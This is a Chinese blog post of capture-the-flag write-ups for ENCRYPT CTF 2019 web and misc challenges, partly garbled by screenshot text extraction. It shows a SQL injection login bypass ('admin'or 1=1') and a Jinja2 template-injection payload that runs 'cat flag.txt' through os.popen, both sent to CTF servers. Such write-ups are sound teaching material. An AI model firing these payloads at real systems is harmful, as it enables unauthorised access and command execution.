# 2019年CTF4月比赛记录(一): ENCRYPT CTF 部分Web题 目writeup与重解

## 原创

分类专栏: <u>2019年CTF比赛—4月赛 CTF\_web</u>

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

本文链接: <u>https://blog.csdn.net/qq\_43214809/article/details/89022757</u>

版权



2019年CTF比赛—4月赛 同时被 2 个专栏收录

3篇文章0订阅

订阅专栏



13 篇文章 0 订阅 订阅专栏

### 简简单单做些题,踏踏实实做些事

时间: 2019年4月2日至4月4日

### - **CRYPT CTF**—Journey (writeup):

两个水题,一个套路,直接打开文档,一直打开压缩包,直到出现flag.txt,没啥技术含量,就当签到题了:



🖬 7-Zip 文件(F) 编辑(E) 查看(V) 书签(A) 工具(T) 帮助(H) 🕂 🗕 🔝 📫 🗰 🕺 🗓 添加 提取 测试 复制 移动 删除 信息 大小 压缩后大... 修改时间 主操作系... CRC 文件夹 名称 文件 📄 flag.txt 31 60 2019-02... Unix 615A6F... 🥘 flag.txt - 记事本  $\times$ 文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H) encryptCTF{f33ls\_g00d\_d0nt\_it?}

**二、ENCRYPT CTF—Sweeeeeet (writeup)**:

一开始打开网页是下面:

← → ℃ (① 不安全 | 104.154.106.182:8080

Hey You, yes you! are you looking for a flag, well it's not here bruh! Try someplace else द्व 🏠

永远太远走远漫远

https://blog.csdn.net/qq\_43214809

按照正常思路,先看以一下view-source,没看到;再试一下其他的后缀名,也没啥卵用,那就看一下Cookie:

← → C ③ 不安全 | 104.154.106.182:8080 GX Hey You, yes you! 正在使用的 Cookie are you looking for a flag, well it's 允许 已屏蔽 Try someplace else 以下 Cookie 是系统在您查看此网页时设置的 ▼ 104.154.106.182 🔻 🧰 Cookie S FLAG 🍪 UID 名称 FLAG 内容 encryptCTF%7By0u\_c4nt\_U53\_m3%7D 域名 104.154.106.182 路径 1 为何发送 各种连接 2019年4月2日星期二下午7:10:09 创建时间 到期时间 浏览会话结束时 禁止 删除

看见这个我还挺激动的,以为自己得到了flag,直接改一下提交答案了。结果显示Incorrect,我尼玛,还是太天真了。没办法,那就中规中矩的抓个包看一下:

Burp Intruder Repeater Window Help															
Target Proxy Spider Scanner Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project option	s Us	ser options	Alerts						
1 ×															
Go Cancel <   * >   *	Go Cancel < Y > Y Target: http://104.154.106.182:8080 🖉 ?														
Request						Re	pons	se							
Raw Params Headers Hex						Ra	w H	leaders H	ex HTMI	Render	r				
GET / HTTP/1.1 Host: 104.154.106.182:8080 Cache-Control: max-age=0 Uggrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOV Chrome/72.0.3626.121 Safari/537.36 Accept: text/html,application/xhtml+xml,applicatio Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UID=f899139df5e1059396431415e770cf Connection: close	/64) AppleWe n/xml;q=0.9,ir dd; FLAG=en	bKit/537.36 (K nage/webp,ima cryptCTF%7B;	HTML, like age/apng,*/ y0u_c4nt_U	Gecko) *;q=0.8 53_m3%7D		HTTP/1.1 200 OK Date: Thu, 04 Apr 2019 13:00:20 GMT Server: Apache/2.4.25 (Debian) X-Powered-By: PHP/7.3.3 Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D Vary: Accept-Encoding Content-Length: 353 Connection: close Content-Type: text/html; charset=UTF-8 <html lang="en"> <head> <meta charset="utf-8"/></head></html>									

			1
? < + > Type a search term	0 matches	<body> ? + &gt; Type a search term https://blog.com/n/v.0</body>	matches

## 既然这样的话,还剩下一个Cookie,看看能不能从里面得到点什么信息,试了一些编码,最后是MD5:

← → Ů ŵ A https://www.cmd5.com/			☆	∑≡	l_	Ŀ	
CMD5本站针对md5、sha1等全球通用公开的加密算法进行反向直询,通过穷举字符组合的方式,创建了明文密文对应直询数据库, 过500TB,直询成功率95%以上,很多复杂密文只有本站才可查询。已稳定运行十余年,国内外享有盛誉。	创建的记	录约90万亿	【条,占用	硬盘超			
	首页	解密范围	批量解密	▶ 会员	Wor	ldWide	۶.
Inf;110000(1532-04) ♥ QQ 11415-5770c6dd 类型:自动							

很明显,UID=100,那么接下来就应该跟数字有关了,尝试着更改不同的值再进行MD5转换,最后在md5(0)这个地方找到flag:

Target Proxy Spider Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project	options	User options	Alert	s					
1 ×																
Go Cancel <   v >	Ψ											Targ	get: http://10	4.154.10	6.182:8080	
Request							_	Respo	onse							
Raw Params Headers Hex								Raw	Headers	Hex H	ITML	Render				
GET / HTTP/1.1 Host: 104.154.106.182:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10. Chrome/72.0.3626.121 Safari/537.36 Accept: text/html,application/xhtml+xml,a Accept:Language: zh-CN,zh;q=0.9 Cookie: UID=cfcd208495d565ef66e7dff9f Connection: close	.0; WOW64 pplication/x f98764da; F	I) AppleWel ml;q=0.9,in ⁼LAG=encr	oKit/537.36 (K nage/webp.ima yptCTF%7By0	HTML, like age/apng,*/′ u_c4nt_U53	Gecko) *;q=0.8 3_m3%7D			HTTP/1. Date: Th Server: / X-Power Set-Cool Vary: Ac Content- Cont	1 200 OK II, 04 Apr 201 Apache/2.4.22 ed-By: PHP/7 kie: FLAG=er ccept-Encodin Length: 353 ion: close .Type: text/htr ng="en"> a charset="UT a name="view a http-equiv=" ·Hidden <td>9 13:33 5 (Debia .3.3 cryptCT 9 nl; chars F-8"&gt; port" co X-UA-Ce</td> <th>:29 GM n) FF%7B4 sset=UTi ntent="</th> <th>//T 41wa4y5_C 'F-8 ''width=dev ble" conter</th> <th>ch3ck_7h3_cd vice-width, ini nt="ie=edge":</th> <th>00ki3s%7 itial-scale &gt;</th> <th>/D%0A =1.0"&gt;</th> <td>_4321489¥↓</td>	9 13:33 5 (Debia .3.3 cryptCT 9 nl; chars F-8"> port" co X-UA-Ce	:29 GM n) FF%7B4 sset=UTi ntent="	//T 41wa4y5_C 'F-8 ''width=dev ble" conter	ch3ck_7h3_cd vice-width, ini nt="ie=edge":	00ki3s%7 itial-scale >	/D%0A =1.0">	_4321489¥↓

### $\equiv$ **CONTRUMENTALE STREET** ENCRYPT CTF—Into the Black (writeup) :

这题也是比较水的,下载出来一张黑色的图片:



# encryptCTF{L1GH7 17 UP}

直接放Stegsolve里看一下就行,在Red 0、Blue 0、Green 0、Random map 1、2、3都可以看到:

File Analyse Help



### 四、ENCRYPT CTF—Slash Slash (writeup):

这道题怎么讲,误打误撞找到base64编码,直接解开得到flag (a<sup>--</sup>a) 后来看了看别的大哥的writeup,这道题还是有点东西的。 给了我们一个文件,打开后一个py文件,一个txt,三个文件夹,按照惯例先打开py和txt看一看。



在做出对我这种菜鸡没啥大的作用的判断后,果断打开别的文件夹,先看env/bin,顺手打开了第一个activate,一堆代码,往下翻,看到了一串base64编码:



直接解个码, 嘤嘤嘤~乁( 'ω'乁):

### มสวะระตามา

IIWALNOI	Rntjb21tZW50c18mX2	2luZGVudGF0aW	9uc19tYWtlc19	qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg==	
编码	base64	~	字符集	utf8(unicode编码)	
编码	base64	V	字符集	utf8(unicode编码) 编码 解码	

当然好像还有别的方法,应该是虚拟环境的,我看不太懂,wp放下面了: https://www.abs0lut3pwn4g3.cf/writeups/2019/04/04/encryptctf-slashslash.html 五、ENCRYPT CTF—Vault (writeup):

登陆题,按照之前做的一些套路,应该会有注入:

← → C ③ 不安全   104.1	54.106.182:9090	GK	07	☆	Θ	:
	Vault					没有
	admin				4	同什么
	•••••					
	SUBMIT					<u><u></u> 阻挡</u>

直接抓包,修改username的值为: admin'or 1 = 1-':

Target Proxy Spider Scanner Intruder Repeater S	Sequencer Decoder	Comparer	Extender	Project option	User option	s Alerts				
Go Cancel <   Y							Tar	get: http://10	04.154.106.182:9090	0 🥒
Request				Re	ponse					
Raw Params Headers Hex				R	w Headers	Hex HTM	IL Render			
POST /login.php HTTP/1.1 Host: 104.154.106.182:9090 Content-Length: 55 Cache-Control: max-age=0 Origin: http://104.154.106.182:9090 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK Chrome/72.0.3626.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,imag Referer: http://104.154.106.182:9090/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UID=f899139df5e1059396431415e770c6dd; FLAG=encry Connection: close username=admintor 1 = 1*&password=admin&submit=submit	Kit/537.36 (KHTML, like ge/webp,image/apng,* yptCTF%7By0u_c4nt_	9 Gecko) /*;q=0.8 U53_m3%7D		HTTI Date Serve X-Po Set-C Vary Cont Cont Cont Cont Cont Cont Cont Cont	/1.1 200 OK Fri, 05 Apr 20 rr: Apache/2.4. vered-By: PHP ookie: SESSIC Accept-Encod ant-Length: 465 ection: close nnt-Type: text/h CTYPE html> > i> teta charset="u teta http-equiv- fie>Loginteta name="vie tak rel="styleshed	19 01:15:53 25 (Debian) /7.3.3 DNID= <b>ZW5jcr</b> ing 5 atml; charset ttf-8"> ="X-UA-Com >> wport" conte bet" type="te	GMT nlwdENURntp =UTF-8 patible" conte nt="width=de xt/css" media	X0g0dDNfaV ent="IE=edge vice-width, ir ="screen" hr	V5KM2M3aTBuNX0 "> itial-scale=1"> ef="css/main.css">	%3D
? < + > Type a search term			0 mat	ches ?	< +	> Type	a search ter	<b>m</b> http	os://blog.csdn.net/qq_432	0 m

注意到右侧Set-Cookie,先放到URL里解码,再放到base64,直接得到flag:

Hello,

$\rightarrow$ D	ŵ	i ctf.ssleye.com/base64	l.html					[	_ ☆	r∕≡	h	Ŕ
	貝	SSL在线工具	SSL漏洞在线检测	NiceTool	买证书						快速	导航
— base base16、b	编码 - ase32、b	ase64										
ZW5jcnlu	vdENURnt	pX0g0dDNfaW5KM2M3aTBuI	NX0=									
:	编码 b	pase64 💌	字符集	utf8(unicode练	嗣) 🔻							
				编码	д	解码						
encrypt	CTF{i_H4	t3_inJ3c7i0n5}								://blog.csdn.r	net/qq_43	
ENCRY F网页如1	'PT C⊺ ₹:	FF—repeaaaaaa	t(重解):									
$\rightarrow$ C (	)不安全	104.154.106.182:5050										

https://blog.csdn.net/qg_43214809

始终重复图片,没办法,先看一下view-source:

←	- → C ① 不安全   view-source:104.154.106.182:5050	☆ \varTheta
1		
2	<pre> <doctype html=""></doctype></pre>	
3		
4	<pre><head></head></pre>	
5	<pre>{meta charset= uti 8 &gt;</pre>	
6	<pre><meta content="LE=edge" http="equiv=" x-ua-compatible"=""/></pre>	
7	<tttle>repeaaaaat</tttle>	
8	<pre>{meta name= viewport content= width=device=width, initial=scale=1 &gt;</pre>	
9	<script></script>	

底部一个base64编码,解码看一下:



编码 base64   字符集 utf8(unicode编码)   编码 解码									
编码解码	编码	base64	-	字符集	utf8(unicode编码)	•			
					编码		解 码		
/lol_no_one_will_see_whats_here	/lol_no_one_u	will_see_whats_here							

### 唔,那就只能老样子抓个包看看:

Target Proxy Spider	Scanner Intruder Repeater	Sequencer Decod	er Comparer Exte	nder Project options Us	ser options Alerts		
1 × 2 ×							
Go Cancel	<   *					Target: http://104.154.	106.182:5050 📝
Request				Response			
Raw Params Header	s Hex			Raw Headers Hex	HTML Render		
GET / HTTP/1.1 Host: 104.154.106.182:5050 Cache-Control: max-age=0 Upgrade-Insecure-Requests User-Agent: Mozilla/5.0 (Wir Chrome/72.0.3626.121 Safa Accept: text/html,application Accept-Encoding: gzip, defla Accept-Language: zh-CN,zh Cookie: UID=f899139df5e10 FLAG=encryptCTF%7By0u Connection: close	: 1 idows NT 10.0; WOW64) AppleWe ri/537.36 /xhtml+xml,application/xml;q=0.9,i ite i59396431415e770c6dd; c4nt_U53_m3%7D Type a search term	əbKit/537.36 (KHTML, I mage/webp,image/apnş	ke Gecko) g,*/*;q=0.8	   	()> /lol.png'>	https://blog.	0 m
×出现」一段bas ← → C) 命	eb4的编码,解码:	itml				··· 4	∑≞ ∥
	SSL在线工具	SSL漏洞在线检测	NiceTool 🕺	(证书			快速
base编码	]						
base16、base32	base64						
Lz9zZWNyZXQ92	ZmxhZw==						
编码	base64	字符集	utf8(unicode编码) 编码	<b>、</b> 解	码		
/?secret=flag	3					https://blog.c	<u>sdn.net/qg_43214809</u>



我们可以发现右侧div出现flag,通过改变左侧secret的值,可以发现右侧的div值也在改变,然后我就不知道下一步是干啥了。

通过测试{{7\*7}},发现返回49。行了,和攻防世界那个题一个样Jinjia2:

Request	Response					
Raw Params Headers Hex	Raw Headers Hex HTML Render					
GET /?secret={{7*7}} HTTP/1.1	Hello, <div id="shit"></div>					
Host: 104.154.106.182:5050	<img src="/static/lol.png"/>					
Cache-Control: max-age=0	<img src="/static/lol.png"/>					
Upgrade-Insecure-Requests: 1	<img src="/static/lol.png"/>					
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)	<img src="/static/lol.png"/>					
Chrome/72.0.3626.121 Safari/537.36	<img src="/static/lol.png"/>					
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8	<img src="/static/lol.png"/>					
Accept-Encoding: gzip, deflate	<img src="/static/lol.png"/>					
Accept-Language: zh-CN,zh;q=0.9	<img src="/static/lol.png"/>					
Cookie: UID=f899139df5e1059396431415e770c6dd;	<img src="/static/lol.png"/>					
FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D	<img src="/static/lol.png"/>					
Connection: close	<img src="/static/lol.png"/>					
	<img src="/static/lol.png"/>					
	<img src="/static/lol.png"/>					
	<img src="/static/lol.png"/>					
	49					
	Lz9zZWNyZXQ9ZmxhZw==					
Ļ	https://blog.csdn.nel/qq_43214809					

那么就是构造payload的问题了:之前那道题的payload是不能用在这里的,这道题的payload我也没搞清楚:



<!-- L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ== --> </body> </html>

### 打开flag.txt就好:

Target	Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extend	er Pro	ject options	Use	r options	Alerts		
Go         Cancel         >  *           Target: http://104.154.106.182:5050																
Request										Response						
Raw Params Headers Hex									_	Raw	Headers	Hex	HTML	Render	]	
GET /?secret={{url_forglobalsos.popen('cat%20ptag.txt').read()}} HTTP/1.1										<img src="/static/lol.png"/>						
Host: 104.154.106.182:5050										<img src="/static/lol.png"/>						
Cache-Cor	Cache-Control: max-age=0									<img src="/static/lol.png"/>						
Upgrade-Ir	Upgrade-Insecure-Requests: 1									<img src="/static/lol.png"/>						
User-Agen	User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)									<img src="/static/lol.png"/>						
Chrome/72	Chrome/72.0.3626.121 Safari/537.36									<img src="/static/lol.png"/>						
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8										<img src="/static/lol.png"/>						
Accept-En	coding: g	zip, deflat	te							<img src="/static/lol.png"/>						
Accept-Language: zh-CN,zh;q=0.9									n	<ing src="/static/lol.png"></ing>						
Cookie: UID=f899139df5e1059396431415e770c6dd;										<img src="/static/loi.png"/>						
FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D										<img src="/static/iol.png/"/>						
Connection: close									<ing src="/static/ioi.png"></ing>							
									<ing src="/static/ioi.png"></ing>							
									<ing src="/static/ol.prg"></ing>							
									encryptC1F{!nj3c7!un5_4r3_b4D}							
									L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==							
									V							

当然也可以直接用tpImap,可能还更快一点。

大佬的writeup:

https://rawsec.ml/en/ENCRYPT-CTF-2019-write-ups/

### 小结:

1.这次比赛,Web题目还是比较简单的,各题目的解答人数都是蛮多的,在别的比赛里都是很少见的。对于我个人而言,解题有运气的成分,但是还好,可能也就是最后一题的payload之前没见到过,自己了解的知识内容也还没到那个程度,所以后面的话,还是要看一看相关文献资料。

2.日常感谢大佬们在ctftime上的writeup,能给我提供一些新的其他方面的思路,感谢。谢啦!!☆へ(\* ^ - °)v